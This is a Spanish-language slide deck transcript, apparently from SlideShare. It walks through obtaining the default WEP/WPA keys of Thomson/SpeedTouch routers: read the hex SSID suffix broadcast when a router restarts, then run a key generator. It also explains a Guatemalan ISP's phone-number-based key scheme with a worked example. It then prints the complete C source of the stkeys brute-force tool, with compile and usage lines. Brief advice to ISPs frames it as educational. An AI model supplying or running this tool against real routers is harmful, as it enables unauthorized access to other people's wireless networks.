Vulnerabilidad thomson

416 visualizaciones

Publicado el

Hacking Etico, Hactivis

0 comentarios
0 recomendaciones
Estadísticas
Notas
  • Sé el primero en comentar

  • Sé el primero en recomendar esto

Sin descargas
Visualizaciones
Visualizaciones totales
416
En SlideShare
0
De insertados
0
Número de insertados
8
Acciones
Compartido
0
Descargas
4
Comentarios
0
Recomendaciones
0
Insertados 0
No insertados

No hay notas en la diapositiva.

Vulnerabilidad thomson

  1. 1. Vulnerabilidad en Routers marca Thomson Autor: José de Paz (Guatemala) jose.depaz@gmail.com Este documento pretende ser de forma explícita, la opción de poder obtener la clave WEP de los router Thomson, en sus versiones 6 y 7, de las cuales he hecho pruebas satisfactorias. Estos routers son distribuidos en Mexico por una compañia que presta los servicios de internet, en España creo que por Orange, y en Guatemala por la empresa que ya conocemos, y que es la principal en los servicios de internet residencial. Bueno, sin mas preambulo vamos a las prueba, que pienso que es lo que mas apreciamos, si es cierto es lo que mas aprecio cuando alguien divulga algo interesante sobre las redes inalámbricas, aunque después me toque que leer la introducción. (claro esta que en emergencias la introducción se pasa por alto, si, eso, el conocimiento hace que saltemos ese paso) Materiales: 1. Sistema Operativo: en este ejercicio utilizo Windows Xp. 2. Software: inSSIDer 2.0 http://www.metageek.net/products/inssider Figura No1. Acerca de inSSIDer Aunque también se puede utilizar NetStumbler, (utilizado por excelencia): http://www.netstumbler.com/downloads/ (para las antenas caseras me ha servido mucho para direccionar la señal)
  2. 2. 3. Tarjeta de Red Wifi: en este ejercicio he utilizado una marca Sabrent (vale también una Alfa con chip Realtek 8187L): Figura No 2. Propiedades Tarjeta Wifi con chip Realtek 4. Laptop: si, Porque? (despúes lo explico), con una bateria al 100% de carga y que dure mas de una hora. En que consiste?: La vulnerabilidad o defecto de fábrica consiste en que, si observamos fisicamente estos routers en la parte inferior, traen consigo una etiqueta donde esta el nombre del SSID por defecto y su correspondientes claves WEP y WPA, que vienen siendo las mismas. En la versión 6, el nombre del SSID que viene por defecto esta compuesto por la siguiente cadena: SpeedTouch123456 y en la versión 7, esta cadena a cambiado por esta otra: Thomson123456, denotando que los últimos seis caracteres son hexadecimales. Resulta que conociendo estos caracteres hexadecimales, utilizando ingenieria reversa, se puede llegar a obtener la clave WEP por default. Existe un programa desarrollado en C, creado por él que hizo este estudio, el cual pueden encontrar en varios sitios: http://www.gnucitizen.org/blog/default-key-algorithm-in-thomson-and-bt-home-hub- routers/
  3. 3. http://foro.elhacker.net/hacking_wireless/routers_thomson_caso_espanol_redes_wepwpa_ %E2%80%9Cspeedtouchxxxxxx%E2%80%9D_al_descubierto-t208312.0.html http://lampiweb.com/foro/index.php?topic=1763.0 En fin, si buscamos en la red, seguro que encontraremos mucha información al respecto. Otra vulnerabilidad? Para mi opinión creo que si, se trata del contenido de este ejercio, entonces manos a obra. Resulta que por alguna extraña razón (y creo que no es asi) cuando se inicia o reinicia un router de esta marca, nos da la grata sorpresa!!! Ahora si, primer paso: Abrir (ejecutar) el inSSIDer: Figura No3. InSSIDer ejecutandose. Entre las bondades de esta aplicación estan las de capturar las SSID que nos rodean, o sea que nos muestra las redes que estan a nuestro alcance, para realizarlo solo hay que presionar
  4. 4. el botón “Start”, que se encuentra en la parte superior derecha, con esto se inicia el “scan”: Figura No. 4. inSSIDer con redes detectadas Como se podra observar, hay 6 redes detectadas, y se nos muestra las caracteristicas de cada una, como la dirección MAC, el nombre del fabricante, etc., pero la información que nos interesa es el SSID y que el fabricante sea “Thomson”. Ahora solo resta iniciar o reiniciar el router, y alli es donde nos muestra su defecto ( o virtud), depende de que lado estemos para hacer la critica, procedo entonces a reiniciar el primero que sale en la lista, y observar luego la siguiente figura. Se nos regala esa cadena hexadecimal que necesitamos para luego aplicarla al programa stkeys.exe o cualquier otro que mas nos guste, ya que actualmente hay hasta versiones GUI para aquellos que no son adeptos al uso de la consola. Entonces, para que una laptop con buena bateria, pues esto lo experimente en un día lluvioso, cuando de repente se fue la luz (como se dice por aqui) y me quede a ciegas trabajando con el reflejo de la pantalla, es esa ocasión la bateria estaba al 100%. Seguido, como a la media hora, se nos hizo la luz, entonces iniciaron a resaltar también los bombillos, la refrigeradora, los ventiladores, y entre ellos los ROUTERS marca Thomson, y asi fue como buen observador vi de lo que la tarjeta WIFI se estaba alimentando.
  5. 5. Figura No 5. SSID inicial cuando se inicia el router Thomson Figura No. 6. Usando WZCSVC para ver redes detectadas
  6. 6. Conclusión: Llegando a este punto final, este ejercicio se aplica para aquellos routers en los cuales los IPS no cambian la clave WEP/WPA que trae por default, bueno aca la critica desde el otro lado, siendo yo un ISP tomaria en consideración lo siguiente: 1. Cambiar la clave WEP/WPA por default que traen los equipos de marca Thomson. 2. Siendo el punto 1 una vulnerabilidad, cambiaria los equipos que distribuyo con el servicio, en este caso los routers de esta marca, por una versión sin esta vulnerabilidad. 3. Sabiendo que esta vulnerabilidad se repitio en la version 6 y 7, mejor cambio los routers por otra marca. Esperando que este documento sea para uso didáctico y que sea de mucha utilidad no solo para lo cual fue presentado, sino para tomar en consideración para cuando necesitemos contratar los servicios de un ISP, de forma particular o como empresa. Esta vulnerabilidad la descubri hace aproximadamente 3 años, porque anteriormente esta empresa T*****, configuraba el nombre del SSID con el número de teléfono, por ejemplo: si el número telefónico era: 78895678, este mismo número colocaba como SSID, y la clave WEP/WPA era nada mas y nada menos que este número convertido en hexadecimal, con lo cual quedaría así: SSID: 78895678 clave WEP: 4B3DA3E pero la clave WEP deberia ser de 64 bits, que corresponde a 10 caracteres hexadecimales y al convertir el número telefónico solo obtenemos 7 caractares, entonces idearon esto: agregar un 1 al inicio y 10 en hexadecimal al final, entonces la clave quedaria así: 14B3DA3E0A (“1” + “4B3DA3E” + “0A”) Hoy si, termino, divulgar estos conocimientos y aventuras, en ocasiones nos trae consecuencias, tales como que te llamen “hacker”, y sabiendo que la palabra “hacker” la asocian como “delincuente”, pero para alguien maduro y con otra perspectiva sabe que todos llevamos un “hacker” adentro. O acaso nunca te ha tocado arrancar tu vehiculo al empujon!!
  7. 7. Anexo: Codigo fuente Author: Kevin Devine <wyse101 0x40 gmail.com> Date: April 2008 /* ************************************************************************ ** * * * Default WEP/WPA key generation for Thomson series wireless routers * * * * Date: March 15th 2008 * * Author: Kevin Devine <wyse101@gmail.com> * * * ************************************************************************ ** AFAIK, this is a well known problem by some ISP. It is likely to affect any owner of a Thomson wireless router with default settings installed. ************************************************************************ ** The format of a serial number: CP YY WW PP XXX (CC) And from what i can tell of the following serial number taken from router i received. CP 06 15 JT 109 (53) YY is the year produced. ( 2006 ) ? WW is the week of year. ( some week of April ) ? PP is the production code. ( JT ) factory code? CC is the configuration code. ( 53 ) seems to be 00 - ZZ (0-9/A-Z) I can only guess that the XXX values represent the unit number ************************************************************************ ** The key generation is simple enough. Take as example: "CP0615JT109 (53)"
  8. 8. Remove the CC and PP values "CP0615109" Convert the XXX values to hexadecimal. "CP0615313039" Process with SHA-1 742da831d2b657fa53d347301ec610e1ebf8a3d0 The last 3 bytes are converted to 6 byte string, and appended to the word "SpeedTouch" which becomes the default SSID. "SpeedTouchF8A3D0" The first 5 bytes are converted to a 10 byte string which becomes the default WEP/WPA key. "742DA831D2" Thats it.. ************************************************************************ ** I was unable to determine if its possible to obtain the base serial number from the MAC, but it can't be ruled out. The method of recovery here using brute force attack of the default SSID octets, is pretty lame..but is enough for now. Theoretically, with 3 octets, no more than ~2 attempts are required before successfully accessing the router. When only 2 octets are provided, (example:BT Voyager/Home Hub routers) more potential keys are generated, with further required attempts - an average of 80. This still improves odds of an attacker gaining access to WPA protected routers - more so if an attacker can capture a WPA handshake and crack with Aircrack,Cain & Abel or offline with coWPAtty. Obviously the problem is with implementation of key/ssid generation and not WPA itself. ************************************************************************ **
  9. 9. The only solution _right now_ is to have customers either turn off wireless (if its not being used), or change the default settings. To compile, use: gcc -fomit-frame-pointer -O3 -funroll-all-loops stkeys.c sha1.c -ostkeys Use OpenSSL SHA-1 for this to run faster.. Example usage for ST585v6 router: SSID: "SpeedTouchF8A3D0": c:stkeys -v -iF8A3D0 Serial Number: CP0615**109 - potential key = 742DA831D2 <- this is the right one Serial Number: CP0621**AHJ - potential key = 00651124D9 Found 2 potential keys. */ #include <stdio.h> #include <getopt.h> #include "sha1.h" #define SHA1Init SHA1Reset #define SHA1Update SHA1Input #define SHA1Final SHA1Result #define SHA1_CTX SHA1Context typedef unsigned char u8; typedef unsigned int u32; const u8 charTable[]="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ"; const u8 hexTable[]="0123456789ABCDEF"; u8 serial[13]={'C','P','0',0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00}; #define SERIAL_LENGTH 12 #define MAX_SSID_OCTETS 6 #define DEFAULT_KEY_SIZE 5 #define hexmsb(x)(hexTable[((x & 0xf0) >> 4)]) #define hexlsb(x)(hexTable[ (x & 0x0f)]) void usage(char **argv) {
  10. 10. fprintf(stdout,"ntUso: %s [ -i <ssid octets> ] [ -o <output file> ]n" "nt -i : Los octetos hexadecimales del SSID del router Thomson" "nt -o : Especificar el fichero de salida para las posibles claves" "nt -v : Imprime en pantalla las posibles claves encontradasnn",*argv); exit(0); } /* * convert hexadecimal ssid string to binary * return 0 on error or binary length of string * */ u32 str2ssid(u8 ssid[],u8 *str) { u8 *p,*q = ssid; u32 len = strlen(str); if( (len % 2) || (len > MAX_SSID_OCTETS) ) return(0); for(p = str;(*p = toupper(*p)) && (strchr(hexTable,*p)) != 0;) { if(--len % 2) { *q = ((u8*)strchr(hexTable,*p++) - hexTable); *q <<= 4; }else { *q++ |= ((u8*)strchr(hexTable,*p++) - hexTable); } } return( (len) ? 0 : (p - str) / 2); } /* * print 5 bytes to output file * */ void dump_key(FILE *out, u8 *key) { u32 i; u8 *p = key; for(i = 0;i < DEFAULT_KEY_SIZE;i++) fprintf(out,"%.2X",*p++); fprintf(out,"n"); }
  11. 11. int main(int argc, char **argv) { u8 sha1_digest[40]={0}; u8 ssid[8]={0},buf[8]={0},year,week,x1,x2,x3; u32 keys = 0,ssidLen = 0,verbose = 0, opt = 0; u8 *p,*q,*strId = NULL; FILE *ofile = NULL; SHA1_CTX sha1_ctx; if(argc > 1) { while( (opt = getopt(argc, argv,"vo:i:")) != -1) { switch(opt) { case 'i' : strId = optarg; break; case 'o' : if((ofile = fopen(optarg,"wb")) == NULL) { fprintf(stderr,"nNo puedo abrir %s para la salida.n",optarg); return(0); } break; case 'v' : verbose++; break; default: usage(argv); } } if(!strId) usage(argv); if(!(ssidLen = str2ssid(ssid,strId))) usage(argv); fprintf(stdout,"nGenerando claves... por favor esperann"); // generate values only for 2005/2007..change if you want. for(year = 5;year <= 7;year++) { serial[3] = year | '0';
  12. 12. // 52 weeks of the year for(week = 1;week <= 52;week++) { serial[4] = (week / 10) + '0'; serial[5] = (week % 10) + '0'; for(x1 = 0;x1 < 36;x1++) { serial[6] = hexmsb(charTable[x1]); serial[7] = hexlsb(charTable[x1]); for(x2 = 0;x2 < 36;x2++) { serial[8] = hexmsb(charTable[x2]); serial[9] = hexlsb(charTable[x2]); for(x3 = 0;x3 < 36;x3++) { serial[10] = hexmsb(charTable[x3]); serial[11] = hexlsb(charTable[x3]); // hash serial number with sha-1 SHA1Init(&sha1_ctx); SHA1Update(&sha1_ctx,serial,SERIAL_LENGTH); SHA1Final(&sha1_ctx,sha1_digest); // compare SSID octets with last number of bytes supplied if(memcmp(&sha1_digest[(20-ssidLen)],ssid,ssidLen) == 0) { keys++; if(verbose) { memcpy(buf,serial,6); fprintf(stdout, "Número de Serie: %s**%C%C%C - posible clave = ", buf,charTable[x1],charTable[x2],charTable[x3]); dump_key(stdout,sha1_digest); } if(ofile) { dump_key(ofile,sha1_digest); } }
  13. 13. } } } } } fprintf(stdout,"nResultado: %d posibles claves.nn",keys); if(ofile) fclose(ofile); } else { usage(argv); } return(0); }

×